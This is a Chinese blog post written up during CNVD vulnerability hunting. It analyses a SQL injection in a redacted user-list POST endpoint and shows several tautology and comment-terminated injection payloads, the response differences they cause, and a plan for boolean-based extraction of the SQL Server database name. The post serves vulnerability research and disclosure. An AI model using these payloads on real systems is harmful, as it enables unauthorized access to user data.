CNVD挖掘过程中的一次SQL注入分析
1.渗透目标
http://[目标]/General/User/UserListPager
该接口通过post参数可以提取用户信息,Id处存在sql注入
用sqlmap只可以跑出来堆叠注入,结果不稳定所以选择手工分析,判断是否可以布尔型注入。
2.渗透流程
1.单引号闭合提取所有信息
能提取出所有信息,message为null
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1' or '1'='1&searchOrganizationId= |
select * from [表名] where enterpriseId='[id]'; |
2.语句为真取出信息,注释符注释掉后续内容,
message为No data
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1' or '1'='1' --+&searchOrganizationId= |
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1b5df7a9f48646aa9028a8415d059697' --+&searchOrganizationId= |
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1b5df7a9f48646aa9028a8415d059697' or '1'='1&searchOrganizationId= |
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1 --+&searchOrganizationId= |
6.推测:
TotalCount为执行语句后提取的信息的条数。
当语句能够正确执行时,如果有注释符则语句也会执行但不会正常返回json数据,同时Message变为No data。
如果没有注释符而是采用’1’=’1方式闭合,则可以正常执行并返回json数据,Message为null。
3.脚本编写
通过以下参数编写exp
searchEnterpriseId=1' or '1'='1' --+&searchOrganizationId=&keyword=1&PageSize=15&CurrentNum=1 |
当判断为假,返回的totalcount为0
当判断为真,返回的totalcount为13
提取库名:
sqlserver数据库,使用substring和db_name()
import requests |
4.总结
1.面对多参数sql注入时需注意细节,查看发送不同参数导致的结果变化。
2.工具有时测不出来或测出来有问题可以手测然后自己写脚本。
3.不同数据库注入时语法不一样,写脚本要用对应的函数。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Xrect1fy's blog!